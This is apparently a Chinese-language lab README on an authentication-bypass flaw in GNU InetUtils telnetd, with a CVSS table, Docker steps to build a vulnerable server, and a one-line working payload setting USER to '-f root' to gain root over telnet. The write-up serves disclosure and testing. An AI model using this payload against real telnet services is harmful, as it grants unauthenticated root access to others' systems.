
最近在 GNU InetUtils telnetd 中发现的一个参数注入漏洞,允许攻击者通过将 USER 环境变量设置为“-f root”来绕过认证。因此,远程未认证攻击者可以访问运行易受攻击的 telnetd 服务的系统,并将权限提升至 root。如果成功利用,该漏洞可能使攻击者能够访问敏感信息、更改系统设置并执行任意命令,最终可能导致系统完全被攻陷。
| CVSS 详情 | CNA (MITRE) |
|---|---|
| 基础评分 | 9.8 |
| 攻击向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 攻击途径 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响范围 | 不变 |
| 机密性影响 | 高 |
| 完整性影响 | 高 |
| 可用性影响 | 高 |
| CVSSv3 版本 | 3.1 |
我们能够访问下面来自 2015 年的 提交,其中显示了造成此漏洞的代码更改(第 62 行)。
本 README 的目的仅在于展示漏洞利用的执行过程,而非生成此 CVE 的每一个步骤。然而,其意图是用取自 USER 环境变量的值来替换 %U 占位符。这个特定的环境变量由用户控制,并且可以通过 Telnet 协议进行操纵 🔥 。
对于此测试,我使用 Docker Hub 上的镜像创建了 2 个容器,其中包含易受攻击的 InetUtils 版本。
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
使用下面的攻击载荷,我们替换了 USER 变量并绕过了认证系统。
USER="-f root" telnet -a 172.17.0.3
检查您的 inetutils 版本
hostname --version
telnetd --version
下次再见 :wink: